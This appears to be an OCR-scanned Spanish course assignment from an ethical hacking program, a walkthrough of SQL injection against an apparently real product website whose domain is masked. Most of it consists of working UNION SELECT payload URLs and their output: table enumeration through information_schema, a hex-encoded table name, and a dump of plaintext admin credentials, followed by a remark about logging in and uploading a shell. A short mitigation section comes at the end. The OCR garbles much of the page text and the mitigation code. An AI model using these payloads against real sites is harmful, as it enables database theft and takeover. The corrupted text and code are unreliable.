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FINAL EXPERTO UNIVERSITARIO EN HACKING ETICO (ETHICAL HACKING) UTN.BA

HHee: SQL INJECTION

Una SQL Injection, es una peticion malintencionada de datos a la DB (Data Base o Base de Datos) de una pagina web.
Basicamente que nos muestre datos que no deberiamos ver.

¢Cémo son los pasos para realizar una SQL Injection bdsica?
Ejemplo:

http://..uee....... com/product description.php?pid=9

Denz & Dare Hair Oil

With natriones and coloeing pigmats.

DENZ & DASC hair of enswes complele nounshment 19
Oats by providing essential nutnents requied for Mair g
Increasing blood cirtulation B the scalp. DENZ & DARC
Mproves R colowr nalually by redching the hair comex & 4
colout DENZ & DARC hair o mproves har growth by b
damaged hawr folickes back 1o Me and preventing othes
responsiie for retaded hair growth

COMPOSITION:

Brngaraa (Ecipta ama), Yashd (Ghcymhiza  glabea),
{Cynodon dactyion). Amalaki (Embiica officinaits). Matathi ()
grancifiorum), N (noigofera Bnctorial Tea Tams (S
inche )

INDICATIONS:

“ e u

Con un simple podriamos saber si la pagina es vulnerable.

com/product description.php?pid=9’

Our Products

Caternes Warning: mysql_fetch_array() expects parameter 1 fo be resource, boolean given in /home/rev/webapps/atrimed1
Al , Iproduct_description.php on line 110

Skin Care 3

General Care 4

Women's Care »

Child Care ’

Normalmente con este error o uno parecido quiere decir que si es vulnerable

Ahora tendriamos que cambiar el nUmero a negativo y agregarle +UNION+SELECT+1--.



http://............com/product_description.php?pid=9
http://..............com/product_description.php?pid=9
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http://.eeeeeerennnns com/product description.php?pid=-9+UNION+SELECT+1--

En mi caso sigue enviando el mismo error:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in
/home/rev/webapps/atrimed1/product_description.php on line 110

Pero también pueden aparecer otros como es el caso de:

"The used SELECT statements have a different
number of columns"

Lo siguiente seria encontrar el numero correcto de columnas

http://.eeeeeerennnns com/product_description.php?pid=-9+UNION+SELECT+1,2,3-- Error

http://..coeveeeenn. com/product description.php?pid=-9+UNION+SELECT+1,2,3,4,5,6,7,8,9-- Exito

Categories
All v
2
Skin Care 3
3
General Care v
Women's Care 3
COMPOSITION:
Child Care » 4
INDICATIONS:

Ya con esto el atacante puede sacar informacion como por ejemplo ver la version y el nombre de la data base usando los nun
mostrados en la misma:

http://eeeeeinneee. com/product_description.php?pid=-9+UNION+SELECT+database(),version()
3,4,5,6,7,8,9—
Categories
Al atrimed_db
5.6.38-83.0
Skin Care L3
General Care L3 3
Women's Care L3
COMPOSITION:
Child Care » 4
INDICATIONS:

A

Podemos conseguir mas informacion utilizando la DB de defecto de MySQL llamada Information_Schema para ver el nombre
tablas utilizando:
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http://..............com/product_description.php?pid=-9+UNION+SELECT+1--
http://..............com/product_description.php?pid=-9+UNION+SELECT+1,2,3--
http://..............com/product_description.php?pid=-9+UNION+SELECT+1,2,3,4,5,6,7,8,9--
http://..............com/product_description.php?pid=-9+UNION+SELECT+database(),version(),3,4,5,6,7,8,9--
http://..............com/product_description.php?pid=-9+UNION+SELECT+database(),version(),3,4,5,6,7,8,9--
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group_concat(table_name)+from+Information_schema.tables—

http://.cuee.... com/product _description.php?pid=-
9+UNION+SELECT+group concat(table name),2,3,4,5,6,7,8,9+from+information schema.tables--

CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CH#

2

3

COMPOSITION:
4

Una tabla con el nombre admin? Habréa que ver que info tiene cambiando table por column/columns

http://.ecovenn. com/product_description.php?pid=-
9+UNION+SELECT+group_concat(column_name),2,3,4,5,6,7,8,9+from+information_schema.columns+where+table_name=ac

Pero nos genera error para arreglarlo debemos cambiar de ASCIl a Hex el nombre de la tabla en este caso:
admin =61 64 6D 69 6E

a esto le agregamos un Ox adelante y borramos espacios.

0x61646D696E

http://.vveeennnee. com/product description.php?pid=-
9+UNION+SELECT+group concat(column name),2,3,4,5,6,7,8,9+from+information schema.columns+where+table name=0x

id,user_name,user_pass

2

COMPOSITION:
» 4

Bien nos da la siguiente informacidn que existe un id, usuario y contraseia lo siguiente seria obtenerlos.

http://.......... com/product description.php?pid=-
9+UNION+SELECT+group concat(id,0x3d,user name,0x3d,user pass),2,3,4,5,6,7,8,9+from+admin--
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http://............com/product_description.php?pid=-9+UNION+SELECT+group_concat(table_name),2,3,4,5,6,7,8,9+from+information_schema.tables--
http://............com/product_description.php?pid=-9+UNION+SELECT+group_concat(table_name),2,3,4,5,6,7,8,9+from+information_schema.tables--
http://.............com/product_description.php?pid=-9+UNION+SELECT+group_concat(column_name),2,3,4,5,6,7,8,9+from+information_schema.columns+where+table_name=0x61646D696E--
http://.............com/product_description.php?pid=-9+UNION+SELECT+group_concat(column_name),2,3,4,5,6,7,8,9+from+information_schema.columns+where+table_name=0x61646D696E--
http://.............com/product_description.php?pid=-9+UNION+SELECT+group_concat(column_name),2,3,4,5,6,7,8,9+from+information_schema.columns+where+table_name=0x61646D696E--
http://..........com/product_description.php?pid=-9+UNION+SELECT+group_concat(id,0x3d,user_name,0x3d,user_pass),2,3,4,5,6,7,8,9+from+admin--
http://..........com/product_description.php?pid=-9+UNION+SELECT+group_concat(id,0x3d,user_name,0x3d,user_pass),2,3,4,5,6,7,8,9+from+admin--
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. 2=atr‘=atri-
.

COMPOSITION:
» 4

INDICATIONS:
5

Ni siquiera el hash encriptado en algin algoritmo esta es la realidad de muchos administradores web hoy dia.

Al atacante lo Unico que le faltaria seria encontrar el Login panel y loguearse como administrador subir alguna Shell y realizar

ataque que prefiera.
¢Como mitigar esto?

En PHP Mysql:

$respuesta=mysqgl_query(*'SELECT * FROM ~Usuarios~ WHERE
“user =""_mysql_real_escape_string($name)."" AND
“pass ="".mysql_real_escape_string($password)."""")

En NET SQL Server :

SqlConnection con = new SqglConnection(_connectionString);
SqlCommand cmd = new SqglCommand(*'SELECT * FROM Usuarios WHERE user=@user AND
pass=@pass', con);

/* Convertimos en literal estos parametros, por lo que no podran hacer la
inyeccion */

cmd.Parameters._Add("'@user™, SqlDbType.VarChar, 32)_.Value
cmd.Parameters.Add("'@pass", SqlDbType.VarChar, 64).Value

user;
password;

O AddWithValue:

using( SglConnection con = (acquire connection) ) {
con. Open(Q);
using( SglCommand cmd = new SqlCommand(*'SELECT * FROM Usuarios WHERE
user=@user AND pass=@pass', con) ) {
/* Convertimos también en literales los parametros */
cmd.Parameters._AddWithValue(""@user', user);
cmd.Parameters_AddWithValue(*'@pass', password);
using( SglDataReader rdr = cmd.ExecuteReader() ){
/* [-..] */

Source de mitigacién: https://www.genbetadev.com/seguridad-informatica/evita-los-
ataques-de-inyeccion-de-sql
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	METODO:

